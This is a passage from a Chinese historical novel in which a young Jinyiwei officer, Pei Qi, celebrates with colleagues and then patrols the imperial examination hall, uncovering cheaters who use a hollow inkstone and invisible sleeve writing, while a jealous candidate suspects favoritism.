雅间内的桌子上已有了些菜,杨小旗和之前锦衣卫见过的弟兄也早已在了其中。 见到裴期进来, 里面的人立刻就站了起来,无外乎是说一些恭喜啊之类的话,裴期进去就找了个位置坐下。 桌面上已有了一些菜式,看来是方才一耽搁,裴期便就来晚了。 此时里面有一个人说,“听闻裴千户现在便负责巡考了,科举三年才一次,之前指挥使都说他年轻的时候不知道争取了多少次才争取到科举巡考呢。” 另外有人也跟着说,“对啊,虽说那些文绉绉的家伙确实烦了些,可巡考可是实打实能见皇上的好时候啊。” 有人起哄道,“裴千户,才不在意这点见皇上面的机会呢,人家现在可是皇上的恩人,皇上想了忘他都忘不了呢。” 这时,酒楼里的店小二按照约定的那样,将那坛保存好的女儿红拿了上来。 店小二十分熟练,这群锦衣卫们来自家其他的店里面吃饭吃酒没有百次也有五十次了。 只见他熟练地打开了那坛酒,用一把盛酒器将酒盛到一个玉壶当中,又在每一个锦衣卫的面前摆了一个玉质的小酒杯。 瞬间一股浓郁的酒香便笼罩住了整间屋子。 这些锦衣卫们并不等人伺候,便抬手各自取了玉壶,将自己酒杯倒满,然后一仰头尽数吞了下去。 喝完了还要感叹一声,说是好酒。 裴期有些不太适应这种场景,自小他便是在裴府里边长大的,遇到过最大的场面便是祖父大寿。 可那时并没人在意他。 因此,裴期这时便也跟小时候一样,坐在自己的位置上,只是安静地自己该干什么就干什么。 没想到见到他这样子,有个锦衣卫举了个酒杯,递到他的面前。 “裴千户,来,我敬你一杯。” 钱苗顿时挑了挑眉,拦住那人的肩膀,不让他敬酒。 “你小子,他还没当多久的千户呢,你就想上来灌酒是吧。” 可钱苗拦住了这人,拦不住那人。 只见另外一边又有个锦衣卫站起来说:“裴千户,我敬您,您总不会不给面子吧?” 钱苗倒是想拦住,可是他拦了一个就会有另一个,他当时就有些后悔,他虽然和这群人玩的熟,自然知道这群人是什么德行。 早知道在裴期来之前便应该给对方打个预防针的。 杨小旗拿起酒杯浅酌了一口,掀了掀眼皮, “我看你们也真都是疯了,今日你们灌他酒,明日当差的时候,他还是你们的上级,若是派你们去青楼盯梢,你们也是没地方找人说的。” 青楼盯梢是锦衣卫最不愿意去的,又脏又腻,还不知道能看见什么样稀奇古怪恶心的玩意儿。 可偏生那些达官贵人们都喜欢往那里面去。 这群人这才收敛了些,其实他们倒也没什么坏心,只是纨绔惯了,嘴上没个把门,干起事来也不知轻重。 只觉得这样便能套套近乎,想投机取巧,让日后工作好过活些。 现在让人这么一说他们便也都老实了许多,老老实实地自己喝自己的去了。 与裴期的话也收敛了许多,无外乎是一些秋猎当日的情景,和八卦与太子究竟熟到什么地步了? 有些过分点的则会问他和府中的弟弟关系如何? 裴期都一一回答。 这些人见他这样,反倒觉得裴期该严肃的地方便严肃,该亲和的地方又十分亲和,若是让他当自己的上级,应当不是坏事。 酒过了一轮之后,外面的烟花开始燃放。 雅间里的人一起往窗边看。 只见外面竖起了一个三层的烟花塔。 随着一声令下,这三层的烟花塔便开始都往外喷出火花来,一边喷出火花,这烟花塔还一边旋转,看上去像一颗亮晶晶的树。 边喷着火花,边每层还有木偶从烟花塔里边出来,裴期看着甚是新奇。 毕竟他从前都没有看过这样的。 这时,钱苗说,上面的烟花看完了,还可以看下面的。 只需要下一层楼便可以看见烟花的底部是什么样的。 裴期刚好好奇,于是便也准备下楼去看。 只是他们下楼的时候居然遇到了个熟人。 杨明倚在楼梯的栏杆上,也仰头看烟火,他身上带着点酒味。 钱苗见状便问:“你怎么在这儿?” 他鼻子动了动,皱眉,“还有几日就要考试了?你怎么还出来喝了酒?感情你之前说的要闭关复习都是空话?” 杨明看到他们也惊喜, “今日我的同乡的同学到了上京,又听说这里会放烟花,我便请他们吃了顿饭,兴致来了,便喝了两杯酒,只是……” 杨明脸上露出一点儿狡黠的笑容。 “他们要喝,但我不喝。” 考试三年一次,他错过这次便要再等三年。 原来他身上的那点酒味并不是他的,而是他的那些同乡的。 然后见到裴期他好像又想起来什么似的,说: “还未恭喜裴兄,我们现在身份敏感,说不多几句话。” 钱苗笑了:“你裴兄现在是千户了,你要是高中,说不准以后怎么怎么排挤你裴兄。” 文官排挤锦衣卫,几乎是约定俗成的事情了。 杨明瞪大了眼睛:“怎会,你莫要冤枉我。” 然后他又转头对裴期说:“说了这几句话便回去吧,若是不小心被人碰到,以为我们并没有避嫌。到时候便也说不清了。” 裴期点点头,觉得确实也对,只是叮嘱了杨明一句好好考试,便转身离开回到雅间。 雅间敞开,是一群已经喝醉地差不多的锦衣卫,见到裴期开门,他们就凑上来,边打趣边把裴期拉进雅间。 其中少不了有人叫他裴大人裴千户。 这时,杨明的那几位同乡过来寻他。 他们真的喝醉了,脚下深一脚浅一脚的,嘴里糊里糊涂地一边抱怨着杨明跑了,害得他们要自己出钱买单,一边说杨明真的考试不一定能考地像之前那样好。 这几位同乡恰好就看到了眼前的一幕。 因为白天里当差,裴期今日的穿着是锦衣卫最经典的装束。 方才那其他的锦衣卫叫他千户,这些人可都听得清清楚楚。 而这时与杨明说着话,烟花声音大,他们听不见对方是在说些什么,可借着酒劲,他们心中却有了猜测。 锦衣卫? 杨明? 他们忽然想到了什么,互相对视了一眼,冷风吹过来,这些人刚才喝过的酒醒了大半,虽然只是说了几句话。 可他们还是记住了这事。 科举巡考1 秋日, 天气虽不至于特别寒冷,可在清晨和晚上还是有点儿凉意沁人。 其实,原本会试应该在每一年的春季举行的。 可每年的春天二月春寒料峭, 本朝的皇帝刚上任的第一年,考场里便冻死了个体弱的举人。 皇帝得知此事,大怮,当即下令, 决定把会试从每年的二月份改到秋日里来。 也就是从这次事开始, 每年的科举皇帝都格外重视、上心。 毕竟考生的童子试, 乡试等其他几场考试皆可以在户籍地完成离家较近,可会试则是需要赶到上京来, 不能及时应对天气变化, 携带相应的保暖物品。 若是改到这个时候, 则比每年的二月初要暖和地多,从户籍地赶路来上京的时候也不必渡过严寒的冬季。 而此时,裴期正被外祖母披上了一身厚实的大氅,大氅的里面被用了貂毛做内衬,保暖性能极佳。 黑色的大氅配上裴期一身朱红的飞鱼服, 看上去格外有威严。 裴期被裹得严严实实, 他有些无奈地说:“外祖母, 我是去做巡考的,不是去做考生的, 一整日都是要在考场里行走, 要是穿的这么厚实, 只怕会热呢。” 外祖母拍了拍他的肩膀, “你年龄还小,总是会小瞧秋日里的寒气的, 虽说白日里走动些身上会生些热气,再说了,你得一直到明日里的清晨才能轮换,夜晚总得需要这件大衣吧。” 这时旁边的裴母又拿出来两双黑色的、皮毛做的手套。 她一边说一边把手套往裴期的手上放,“你外祖母说得对,虽说这白日里还算暖和,可你在考场里一整日又一整夜地巡考,难免会有静下来的时候,这手套是用上好的皮毛做的,保暖得很,戴上它,手就不会被冻着,也好让我们放心些。” 裴期只觉得心口也和身上一样暖洋洋的,便不再推拒,顺从地戴上了手套。 他活动了下手指,笑着弯腰对母亲和外祖母说道:“多谢母亲,外祖母的关怀,我定会小心,不让自己受寒,也会好好履行巡考之责。” 说罢,他挺直了腰杆,这身搭配倒显得他愈发稳重了起来。 这时外祖父又过来,他步履匆匆,手里拿着个白瓷做的东西,仔细一看,竟然是特意烧制的,带着盖的杯子。 这是一种夹层瓷杯,由内外两层陶瓷组成,两层的中间是空气层,能使液体在较长时间内保持温度。 外祖父说:“你将这杯子也带上,巡考累人,这秋日的夜里也凉,这夹层瓷杯是我特意让人烧制的,能保温好一阵子。你让人在里面装上热茶,渴了或者冷了的时候就能喝上几口。” 裴期觉得十分新奇,没想到这个时候就已经出现了这样的保温杯。 他也收下,说道:“多谢外祖父。” 最后,外祖母又不知道从哪儿拿来一个装着糕点的袋子给裴期带上,真可谓全副武装。 考试的地方离忠勇侯府其实还有点距离,裴期今日没有骑马过去,主要是因为若是骑马过去,他要负责白日和晚上的巡考,那马便没有地方安顿了。 其实一般来说像他们这种巡考是不会接连负责白日和晚上的,可实在因为此次科举泄题的事情皇帝非常重视,因此巡考人员不可以反复出入贡院。 因此此次他们所有负责巡考的人都负责连续的一个白天和一个晚上,自此之后便不能再进贡院。 裴期刚到考场外边的时候还以为自己来晚了,因为此时考场外边已经排起了长长的队伍,在等待着前面的人核验身份,检查行李之后进入考场。 那些排队的考生们,有的身着略显单薄的、读书人经常穿的那种款式的长衫,在这秋日清晨凉意中和前后几个贴地近一点取暖。 有的则裹着好几层不同温度穿着的衣服,背着沉甸甸的书箱,手中紧紧握着装有笔墨纸砚等文具的包袱。 裴期下了马车,整了整身上的大氅,拿好外祖父给的夹层瓷杯,戴着黑色手套,便朝着考场门口走去。 他一路行来,引得不少考生侧目,那身朱红飞鱼服与黑色大氅的搭配太过醒目,且这样沉稳的配色带着一股威严稳重之气。 让人不由得猜测他的身份。 但这些考生已考过举人了,自然倒是也不会再这样的场合小声议论这个看上去便身份不一般的人,顶多只是用眼神多看了几眼。 但裴期毫不知情,他从队伍的后边往前面走,顺道扫了一眼这些考生的模样。 考生排着的队伍旁边都有人看着,他们之前就已经同裴期见过面,此时见了裴期便恭恭敬敬行礼。 裴期微微点头示意。 随后到最后的最前边,有人同他说明现在的状况,他才知道,原来这些考生很多都在天还没亮的时候便在这里排着队等了,每个都想先进入考场准备一番。 考场当中确认考生身份的方式一般是两种方式一起的。 第一种是面貌册,即每个考生都会有一个对应的小册子,小册子上记录着这个考生的面貌以及一些特殊的特征等,核查人员需要通过这个小册子来核实眼前的考生是否身份属实。 第二种则是连做担保制度,一般是5个人互相为对方的真实身份做担保,做监督,若有一人考试作弊或者是冒用身份,则5个人都要一起受到连坐惩罚。 裴期微微点头,心想这样的方式倒是能减少冒用身份的可能。 而这群考生通过第一步核验身份了之后,便要去后面接受搜查,以保证身上的衣物,鞋子、行李等没有小抄之类的作弊用的东西。 裴期来到这里时,已经大约半数多的人进入考场了。 此时他可以进入考场,为自己后来的巡考做准备,也能待在外边继续监督着外面的人检查考生。 裴期看了一眼,外面一切都在有条不紊的进行着,于是他便准备自己也接受检查后进入考场。 可就在这时,考生排着的长队中忽然传来一阵混乱的声音。 有考生大声喊着不好了!有人晕倒了!不好了! 裴期眉头微皱,连忙快步走上前去查看发生了什么。 直接一位身材微微圆润,肤色白皙,一看便是家里有点家世的人倒在了地上,此刻他闭着眼,面色铁青,不知情况如何。 旁边几位与他同行的人有的跪在地上,有的蹲在地上,查看着这人的情况,见到裴期过来,便紧紧扒住了裴期的腿。 “大人,大人,您一定要救救他,他向来便身体不好,他的父亲多多嘱咐我们说要照顾他,可是现如今。” 这位说话的考生神色满脸焦急。 另外则有一人指着旁边一位身形瘦削,年龄颇大的老考生说:“都是你若不是你推搡一下,他怎么就会倒地摔到?” 裴期侧头看旁边站着的这位老举子,只见这位老人或许是伏案的时间久了,脖子前倾着,形成一副佝偻的姿态。 他身上的衣服都洗地发白,带的所有东西都是最便宜,最简单的,甚至连方才手里拿着啃的干粮都不知道是何时的了,上面浮着一层浅浅的灰。 老举子显然是呆住了,不知怎么办才好。 旁边的人推了他一下,“如果他有个三长两短,错过了这次考试,我看你该如何赔!” 随着他推的这个动作,老举子提着的干粮也应声掉在地上,布袋散开,干粮掉落一地。 这时他才反应过来说:“没有,刚才我只是不小心碰到他了。” 没想到只是这一句话,便好似瞬间点燃了那几个考生的怒火,只见这几个考生“腾”地一下从地上站起来。 眼瞧着就要与这老举子开始推搡。 而裴期余光则扫到地上躺着的那个人眼皮子微微动了一下。 ? 可眼前指证老举子的这几人与老举子的口音并不相同,那几人显然是南方口音,而老举子这是北方的口音。 通过他们身上的穿着打扮来看,老举子也根本不像与这群人会有什么接触的。 那为什么要这样大张旗鼓地闹事呢? 裴期百思不得其解。 忽然,他想到了太子说的话,若是一件事情做的太过于显眼,那一定是另有目的的。 他终于想到了什么,于是让旁边站着的,负责考生排队纪律的人过来将这波人给拉住。 他自己的转身飞快的又回到了考场的门口检查考生行李的地方。 只见那核查考生身份,检查考生行李的那几人果然都有些心不在焉的,脑袋全部偏向吵嚷的这边,一心想看看远处发生了什么事。 裴期快步走上前去,拉住了已经检查完的放行通过的一个考生的胳膊。 这个考生突然被裴期拉住,他的眼神中闪现过一丝慌乱。 随后又恢复镇定。 裴期盯着这个考生,沉声:“你站住。” 那考生强装镇定地问道:“大人,不知有何吩咐?” 裴期没有回答,只是仔细打量着他。只见这个考生穿着一身普通的不能再普通的长衫,虽然竭力掩饰,但手中的包袱却在微微颤抖。 裴期伸手拿过他的包袱,那考生想要阻拦,却又不敢太过放肆,只得眼睁睁地看着裴期打开包袱。 包袱里装着的笔墨纸砚看起来并无异常,但是裴期近日天天练字,十分熟悉砚台的手感,便敏锐地发现砚台晃动起来有微微的声响。 他双手发力,想要将这个砚台掰开,却发现这砚台纹丝未动,若是他力气再使大些,只怕会直接将砚台硬掰成两半了。 见到这样那考生的眼中忍不住浮现出一丝隐晦的得意,这砚台可是他专门找人定做的不找到那个关窍,谁也别想打开。 况且,这砚台是整个的端石做成的,坚硬无比,就算是蛮力,也别有人想打开。 “大人,我并不是像你想的那样夹带了东西,你冤枉了我。” 裴期斜看了这考生一眼,他十分确定这砚台中绝对有东西,只是一时之间破解不了机关,不能将其完好无损地打开。 于是他看了一眼旁边的检查人员,问道:“这里可还剩下备用的砚台?” 以往也发生过很多次这样的情况,有的检查人员怀疑考生的砚台中有夹带纸条,但是又不能确定,于是只能先将砚台打开,随后再补给这考生一个备用的砚台。 只是那些砚台有很多都是用泥烧做的,用蛮力便能打开,可现在裴期手里的这个一眼看过去便就是石头做的啊! 于是这里的检查人员便说道:“大人有倒是有,只是你手里的这样台仿佛是拿整个的石做成的,质地坚硬,恐怕不能就这么打……” 他话还没说完,只听见一声清脆的“卡擦”声。 砚台应声碎成两半,随后里面便掉出来一张叠地极小的纸条。 那考生脸色瞬间变得惨白。 裴期问:“这是什么?” 考生支支吾吾地回答,“大人,这……这是我不小心夹带的,也不知是谁放进了我的行李里。” 旁边的人见自己居然误放了这样一个人进去,他的面色白了又青,然后厉声掩盖自己的失职:“科举考试,关乎国家选材,公平公正岂能容你等如此践踏?” 裴期看了他一眼,记住了他的名字,让他先去旁边站着候着,先暂时不在这里参与检查了,随后又从队伍的旁边挑出一个人来,让他顶替这人的工作,在这里检查考生。 见到这一幕,在这边领队的人则转头看向那些还在检查行李的人大声说道:“都警醒着点儿,莫要被这些小把戏蒙混过关。” 此时,那些原本吵嚷的人看到这边的情况,也都安静了下来。地上躺着的那个人也“悠悠转醒”,看到裴期手中的纸条和被抓住的考生,眼神中闪过一丝惊慌,却又很快低下头,不敢再言语。 裴期冷眼看着他们,心中已然明白这是怎么一回事。 倒也是聪明,不仅想出了砚台里夹带纸张的办法,更是还找了人玩声东击西这一套。 考场中那个夹带纸条的人倒是已经被人带走了,可那些个试图吵嚷闹事的人,目前却尚未有确凿的证据证明他们与此事之间有联系。 于是裴期想着,仔细的把他们搜查一番,身上没有夹带,那边放进去,他先行禀报,注意这几个考生,等到考完之后再进行调查他们便可。 只不过经过这样一闹,就算裴期现在并没有立即将他们带走,他们经历了这样的惊吓,心里担惊受怕,也不知在考场之上能够专注几分的精神。 这时,裴期又想到几人中间那个无辜被指责的老举子。 那老举子显然是几人临时选定的倒霉蛋,被无端的卷入了这场闹剧,事情极快地被裴期解决了。 他却还站在原地一脸的茫然无措,回过神来之后,他才神色灰败的蹲到地上试图把掉在地上的干粮捡起来。 地面上微微有些湿润,这些干粮早已沾上了泥土,怎么拍打都拍不掉。 裴期抿唇,走上前去说, “不必再捡了。” 老举子闻声抬起头,眼中满是苦涩与无奈,声音带着一丝颤抖:“大人,这干粮……是我这几日准备的吃食……” 说着,声音渐渐低了下去,满是心酸与无助。 裴期想了想,便拿出早上外祖母给他准备的布袋。 他将布袋中的糕点全都放进了老举子的布袋中,“这个给你。” 考生所带着的干粮,都会在检查行李的人那里仔细的掰开检查,确认里面没有夹带之后才会放回去,因此裴期倒也不担心自己给了这老举子一袋糕点会被人怀疑作弊。 老举子接过这袋糕点,他双手有些不知所措地揪住了自己的衣服又放开,然后说了句谢谢大人。 不是他不客气,实在是他自己也明白。那干粮有多重要,考场当中确实有提供一日两顿的饭菜,可是饭菜的样式和数目都十分有限,有时分到每个人的面前便只是清汤寡水了。 听到对方道谢,裴期只是点着头应了一下,只说让这位老举子考试不要分神,发挥出自己的真才实学便好。 等到裴期转身离开,只能看见他的背影之时,老者这才默默红了眼眶。 他确实大小也是个举人,在家乡的县衙里边也当了个小主簿,每月有俸禄,可他的孩子常年重病,他花光了自己所有的积蓄给孩子治病,却还是无济于事,年初他方才白发人送黑发人,能上京来科举已经让他足够心满意足了。 有了这样一遭事情的打岔,门口检查行李的人便再也不敢分神,全神贯注的开始投入起来,或许因为这个原因,效率倒是提升了不少。 考生排着的长队,不过一会儿变全部都进去了。 裴期也跟着一起进去,不过他与考生的路线不同,考生是往北边的考场过去,而自己则是经过检查之后往南边的考官和巡考人员待的地方过去。 他并没有注意到队伍里有几个人小心翼翼、探头探脑的,想看清他是谁。 裴期一过去便就遇见了太子。 太子负责查科举相关的泄题事情了之后,便也跟着负责取了这次科举的事情。 据说皇上一开始听到科举有可能泄题这事便勃然大怒,他本来就看重科举,差点就要把跟这个事情有关的所有人都一撸到底,直接让太子负责当主考官。 后来也不知太子是怎么劝住了,仔细查过一番之后,好歹是保住了几个人,那几个人一直在考试院中待着,只要再过几天把试考完,把卷子也批改完成,便可以出来了。 太子一见到裴期便问:“孤方才听闻考场的门口发生了些事情。” 裴期回答:“确实是发生了事情是有人想要闹事,借此来吸引别人的注意力,趁机夹塞纸条进来,被我发现了。” 太子有些赞赏。 他总觉得裴期很矛盾,既迟钝又敏锐。 裴期自己身上发生的事情,他可能需要很长的时间才能够意识到想明白,可是别人身上发生的事情,裴期总能第一时间注意到。 若是稍加以引导,日后定能起不小的作用。 太子微微点头,嘴角勾起一抹浅笑,说道:“你做得不错,此次科举容不得半点差池,那些妄图作弊扰乱考场之人绝不能轻饶。” 裴期被夸奖了,有些高兴,他立即回:“其实我也是想到殿下之前说的话,想到如果有人很大张旗鼓的行事,背后肯定有其他的目的。” 李稷有些惊讶,没想到裴期将自己的话记得这么牢。 他眯了眯眼,虽然自己上次说的那话并不是想表达这个意思,但既然裴期这样想,那便也可以是这个意思吧。 天道不公! 裴期与太子交谈过几句之后便分开了, 在所有的考生都进入了自己的号舍之后,过了一会儿便有考务人员过来分发试卷。 而这时布置在这里的监考人员和巡考人员便开始了工作。 原本以前只布置一个一对一的监考人员的,但本届科举情况特殊, 额外又配了巡考的,并且临时颁布的法令之中对于协助考生作弊的惩罚前所未有的重。 法令之中还特别说明,如果发现有协助考生作弊的,举报了之后便可赏金赏银, 如此上了几重保险, 相信没有几个人愿意铤而走险协助了。 裴期也开始了他的巡考工作, 在考场的过道中缓缓踱步,确认他能看见的每一份考卷都密封完好, 没有曾经打开过。 他身上的朱红飞鱼服随着他的动作微微摆动, 黑色大氅在身后拖出一道的弧线。 考试共有九天六夜, 分为三个三天二晚。 第一个三天二晚考四书义三道,经义四道。 四书义即回答对于《论语》《孟子》《大学》《中庸》等四书内容的抽查部分理解,需要结合自身见解进行阐述。 经义则是对儒家经典如《诗经》《尚书》《礼记》《周易》《春秋》的阐释,一般来说需要答的足够独特、与其他人不同才能出彩。 这场考试对于考生来说是最简单的,寒窗苦读了许多年, 许多人早已将四书与经义背得滚瓜烂熟。 但这场考试同时又是考生们最喜欢夹带纸条的一场。 四书五经摆明了是现成的东西, 若是在这个上面不作弊, 难不成到后面去猜上面要出什么策论,又要考哪一朝的经史? 裴期虽然也是头一次来监考, 可却早已就被以前巡考过的人提醒过这件事。 因此便他格外注意。 只见这试题刚发到考生的手里边, 有的人便开始唉声叹气, 有的人则从旁边拿出了拿起纸,开始打起草稿来。 没错,在回答这个题目之前一般都会打好草稿, 若是直接变在答题纸上写下自己的答案,若是写错了字,在童子试之时,尚还有机会考官放过。 可在这会试之上便显得你为人邋遢,连考卷都不整洁,日后做官又能好到哪里去? 裴期一直从靠南这边的号舍走到靠北的那边,在这期间,原本那些看到试卷上的题目便唉声叹气的人也停下来开始认真作答。 只是在路过一排号舍的时候,一股臭味涌了出来。 看来是不巧,有的考生第一天便在考场上闹了肚子。 其实每排号手的尽头都有一间厕所,只要告诉给负责监考自己的人便可以去,只是去了之后,监考的人便会在考生的试卷上落下一个大墨戳子,用来表示此考生在考试期离开过号舍去厕所。 本来只是一个记号,可可阅卷人在阅卷之时若是看到这个墨戳子,便会下意识觉得晦气,有的还会觉得此考生有作弊的嫌疑,因此往往给的分数都不高。 所以有的考生宁愿在号舍里就地解决,也不愿去最尽头的那间厕所。 只是苦了这考上周围的其他举子,第一天就这样,恐怕这三天二夜之间便都要闻着这臭味答题了。 裴期倒是理解这考生的尴尬处境,他心里思索着,过后可向陛下或是太子提议,在号舍内增设马桶等来解决这个问题。 再继续巡视,只见最北边的那个号舍似乎又传来一点儿声响。 裴期快步赶了过去,只见一个监考人员拉扯着一个考生的肩膀,试图将他从号舍里边儿拽出来。 一般来说,监考人员是不能与号舍里面的考生发生任何接触的,监考人员甚至不能够离号舍过于近。 可现在他们之间这样,定然是发生了什么事。 裴期走近一看,只见那号舍当中有一个袖珍小炉子,里面正燃着火。 考试当中是允许带这些的,家境殷实的家庭会给考生打一个袖珍小炉子和袖珍锅具,以便考生能在考试之时吃上新鲜小饭菜。 只是现在时机有些不对,毕竟在熬过大概一刻钟考场之中便会开始提供吃食了。 而就算说燃这个小炉子是取暖用的,可现在正值一天的中午,是太阳最盛,气温最暖的时候,这种说法也似乎说不过去。 此刻见着裴期过来,那位监考人员立马说:“大人,他作弊!” 考生立马替自己辩驳起来,“胡说,我并没有作弊。” “我刚才看你掏出袖子看袖子上的字迹,看的真真切切的,你莫要想抵赖。” 这考生闻言,便把自己的两只袖子展示出来:“大人说话可要凭证据,就这样随便污蔑一个有功名的读书人,按照本朝律法中可是重罪。” 裴期定睛一看,果真看见那两只袖子上白白净净,连一点儿痕迹也无。 只是有一只袖子略微湿润了些,还往下滴着水。 或许是看到裴期的眼神奇怪,考生自己解释道:“方才我是准备给自己煮壶热水吃的,只是这人一过来便拉着我的胳膊惊慌之下让我连水也打翻了。” 说吧,他脸上浮现出一股生气的神色:“这考试本就时间紧张,二位打算让我什么时候继续答卷?” 裴期听了双方的说法,他面色不变,目光在那袖珍小炉子和考生身上来回打量。 渐渐地,他皱起眉头 ,这考生袖子湿地蹊跷,恰好就是监考人员说的写着小抄的地方。 直觉告诉他一定有什么问题,可现在他看了多少遍也想不出,这里面究竟有什么联系。 他不能随便做决定,若是判定此位考生舞弊,他又没有确凿的证据,会冤枉了这位考生,还耽误了人家答卷。 可若是判定考生没有舞弊,那么这位监考人员便会受到责罚,要是考生真的舞弊了,就这么被简单放过,未免显得有失公平。 然而就在这时,在另外一个方向巡考的严振也走了过来。 他听到了这边的动静,想来看看发生了什么,一来就看到了这么一幕。 严振的神色十分了然,虽然他也未巡考过几次,可他的同僚之中却有那年纪大的经常被叫去监考的,甚至在监考过程中还有抓到过考生作弊经验。 对于民间用什么手段进行作弊,那位同僚一清二楚。 严振请教过一番之后,便也对这些手段了然于心。 只见,严振走近后,先是与裴期对视一眼,微微点头示意,而后看向那考生和一旁的监考人员。 随后他吩咐那个监考人员说:“你去把那个小炉子放到他的衣服旁边烘烤,尽量把全身都烘烤一遍,不要漏过、错过一些地方。” 那监考人员虽有些诧异,但也不敢多问,立刻依严振所言,小心翼翼地将那还燃着火的袖珍小炉子挪到考生衣服旁边,开始缓缓烘烤起来。 考生见到这人的行为顿时开始挣扎起来,他面色怒气中又带着点惊恐,他喊道:“你们这是做什么?要毁了我的衣物来侮辱我?你们可知道侮辱有功名的读书人是什么罪?我本就清白,为何要受此等对待!” 严振神色冷峻,沉声道:“若你当真清白,烘烤过后自会还你公道,若是心中有鬼,此刻狡也是无用。” 说完,他便立刻上前去强制住这个考生不让他乱动,将衣服在那个炉子的火苗之上给烧毁。 裴期在一旁静静看着,目光始终放在在那考生身上,不放过他身上的任何一丝变化。 随着炉火的烘烤,号舍内渐渐热了起来,那考生的额头和笔尖也渗出了细密的汗珠,不知是热的还是因为心里面慌张。 不多时,只见那原本看似干干净净的袖子上,竟隐隐浮现出一些模糊的字迹来,连那个监考人员都是一惊。 随后他面露激动之色,道:“我就说他作弊,这下可证据确凿了!” 考生见状,脸色瞬间变得煞白,身体如筛糠般颤抖,口中还在喃喃自语:”这……这,这衣服并不是我准备的,我并不知道这自己为什么会出现在我的袖口上……” 只是在场的没有一个人听他的辩解,严振只是一个眼神,便让那位监考人员押着他走了。 这场闹剧花费的时间并不长,旁边的考生又一心一意专注着自己答卷,因此在短暂的声响过后,这里便又继续恢复了平静。 裴期继续照常巡视着,他并没有注意到,就在刚刚,作弊考生的那一排号舍当中,就有那么一位考生,本来是在冥思苦想,构思着答案的,但见到裴期的脸之后便一瞬间呆住了。 他就那么呆着,甚至把毛笔拿起来作势要打草稿的时候,脑海里还是想着一些东西,连写草稿的那张纸被他毛笔上的墨汁给浸得湿透都不知道。 方才,方才进入考场的时候,他便看到了那个锦衣卫,一开始他还并不能确认是那晚上与杨明说话的人。 可现在经过他旁边的考生那样一闹事,那人在他这里停留了许久,他看得清清楚楚,真真切切的。 杨明居然提前就能与这儿的巡考官认识,不知道要给多少便利呢。 他这样想的,连提供的饭菜来了他都没有注意到。 —— 虽然上午出了许多问题,幸好下午和晚上明显消停了许多。 裴期巡视着考场,倒是再也没有遇见像上午那般的作弊情况出现。 只是好像严振那边又抓到几个。 他是第一次负责科举考场的巡考,因此也不知道一场考试之中出现这几个作弊的到底算不算多。 于是在晚上,在考场外面的一个小院子里稍事休息之时,他向太子问出了自己的疑惑。 “殿下,以往一次科举中,会出现多少个作弊的呢?” 他把手里的馒头掰开往里面夹了几片考场提供的腊肉,一边为了节省时间,紧赶慢赶地吃,一边问。 在以往的科举之中所提供的一日两顿的饭菜往往都不像现在这样的丰盛,甚至还能看见荤腥。 往往都是一些清汤寡水了事,所以考生之间才会有了需要携带干粮的约定俗成的规矩。 只是这次或许是由太子负责科举的事情,也或许是因为陛下格外重视的原因,这次考场的饭菜变得丰盛了起来。 李稷听到他这话,笑了一声,他先是回答了裴期的问题, “以往的科举,一般来说,作弊的人并不会像现在这样的多,手段也不会如这次作弊的高明,出现如此情况只有一种答案。” 他没有说答案,耐心地等着裴期分析。 其实李稷本来可以不用这样教,毕竟裴期对于他来说,立场甚至有可能还是对立的。 可李稷实在看裴期心思并不险恶,甚至还有些稚子的懵懂。 且如今裴期才当差不久,便忽然得了一个千户之位,若是并没有与之匹配的能力,便如同小儿怀璧一般,只会招致他人的觊觎和灾祸。 李稷有些不忍心,便忍不住教一些。 这对李稷来说可是一个新奇的体验,毕竟在从前,无论遇到什么样的人,只要是触及到他的利益,那他便可以毫不留情的将对方解决。 裴期听到对方留了半截话,心里也知道对方是等着自己回答。 可他想了半天也没想出这个问题,究竟该怎么答,于是也只能摇了摇头。 见裴期这样,李稷倒也没有失望,他认识对方时早就知道对方是个什么样的人,于是又极有耐心地分析:“这次科举他们每个人所用的作弊手段,花费都十分高,能够让他们如此笃定地要将那份小抄带进来是因为什么?” 裴期顺着思索了一下,只感觉好像悟到了什么,又好像没有悟到自己离那个答案好像朦朦胧胧的隔着一层纱。 就在他又要说自己不知道之时。 他的脑海里忽然灵光一闪。 他的眼睛睁大,连手中的馒头也放下了:“是因为他们笃定自己带进去的答案便是正确答案!” 太子唇角微勾,十分满意。 “没错,那些考生夹带进来的小抄孤都见了,与上次你给孤的那套题目之前所附带的一些四书经义题的答案大致相同,有的甚至只是化用了那套题自带的答案。” 裴期倒也知道这个事情,此时他倒是有些好奇,“殿下,此番泄题的幕后主使已经查出来了吗?” 然后他又后知后觉的意识到自己似乎在打听一些不能打听的东西,于是他又懊恼地说:“抱歉,殿下,我只是一时好奇,便不小心冒犯了。” 李稷摆了摆手说:“无妨,幕后主使孤暂且并不能告诉你,只是孤能告诉你已经把人找到了,并且在查是谁协助的他。” 裴期点了点头。 李稷则眼神有些幽深,实际上,这段时间他不仅将科举泄题之事查了,也把秋猎的惊马之事查了个清清楚楚。 这些事基本上与他那两个有些野心的弟弟都脱不了干系。 只是自己把结果报给父皇之后,父皇那边便没了动静。 李稷知道他的父皇并不是徇私舞弊的人,只是或许真的有其他的事情需要考虑。 裴期吃完之后,便起身跟李稷说:“殿下,我便去夜巡考场了。” 夜里考生一般吧白天好舍当中用来做桌子的两块木板放下,作为床板在上面铺上自带的棉被睡着。 虽然在这个时段,考生一般来说并不会有什么小动作,都在安心睡觉,养精蓄锐,可也并不排除有些会趁着夜色干些什么,因此仍然需要巡考。 也得亏裴期身体素质好,才能扛得住这连续一天一晚的巡考,否则,换做个旁人来做这事,只怕都要元气大伤。 —— 陈江源今年三十八岁,是土生土长的江南人士,也是杨明的其中一位同乡。 此次科举已经是他参加会试的第五次了。 会试三年一次,这意味着他已经考了十五年。 可是他手里拿到了试题,是他五次科举以来遇到过最陌生的,几乎只是拿在手里的一瞬间,他便陷入到了绝望。 难道这次又不能中吗?难道他还得又等三年再考一次吗?去考第六次,第七次,第八次? 这时他忽然又想起自己白天看到的那位大人。 呵,原来杨明提早来上京就是为了这个。 他心里涌现出嘲讽。 怪不得连他们几个都不带,也不知道给了那位大人什么好处,让那位大人给他行了便利。 陈江源用嘴咬住笔杆,眼神里满是嫉恨。 那杨明二十岁生辰未满之时便能中举人,怕不是也是在那时的主考官行了什么便利吧? 也就自己一个人老老实实地考! 他有些不甘,杨明到底给了那位大人什么好处?他们都是一样的,没钱都是一样的,从小乡村一路上来的,凭什么杨明靠着给他母亲支的一个卖吃食的小摊子便能在上京站稳脚跟。 